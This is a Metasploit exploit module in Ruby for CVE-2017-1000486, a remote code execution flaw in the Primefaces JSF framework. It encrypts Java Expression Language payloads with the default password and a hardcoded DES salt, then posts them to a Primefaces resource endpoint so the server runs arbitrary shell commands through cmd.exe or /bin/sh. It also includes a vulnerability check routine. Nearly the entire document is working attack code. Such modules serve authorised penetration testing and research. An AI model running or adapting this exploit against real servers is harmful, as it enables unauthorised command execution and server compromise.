## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Primefaces Remote Code Execution Exploit', 'Description' => %q{ This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework. Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt. Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See documentation for working payloads. }, 'Author' => [ 'Bjoern Schuette', # EDB 'h00die' # lots of fixes, documentation, standardization ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-1000486'], ['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'], ['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'], ['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'], ['URL', 'https://github.com/primefaces/primefaces/issues/1152'], ['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'], ['EDB', '43733'] ], 'Payload' => { 'BadChars' => '"\'\\' # all threw errors }, 'Privileged' => true, 'DisclosureDate' => '2016-02-15', 'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Universal', {}, ], ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } ) ) register_options([ Opt::RPORT(80), OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']), OptString.new('TARGETURI', [true, 'The base path to primefaces', '/']) ]) end def encrypt_el(password, payload) # el == Java Expression Language salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*') iteration_count = 19 cipher = OpenSSL::Cipher.new('DES') cipher.encrypt cipher.pkcs5_keyivgen password, salt, iteration_count ciphertext = cipher.update payload ciphertext << cipher.final ciphertext end def http_send_command(payload_wrapper) encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper) encrypted_payload = Rex::Text.encode_base64(encrypted_payload) # send the payload and execute command res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'), 'vars_post' => { 'pfdrt' => 'sc', 'ln' => 'primefaces', 'pfdrid' => encrypted_payload } }) res end def exploit cmd = payload.encoded # good for testing # cmd = "whoami" # error logs will show # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}' payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}' payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}' payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}' payload_wrapper << '${session.getAttribute("scriptengine").eval(' payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");' payload_wrapper << 'var proc = null;' payload_wrapper << 'os.toLowerCase().contains(\"win\")? ' payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()" payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();" payload_wrapper << 'var is = proc.getInputStream();' payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";' payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}' payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}' payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}' vprint_status("Attempting to execute: #{cmd}") res = http_send_command(payload_wrapper) fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500 # successful exploitation gives us no response end def check marker = rand_text_alpha_lower(5..9) # https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92 # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}' payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}" res = http_send_command(payload_wrapper) return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil? return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable') end end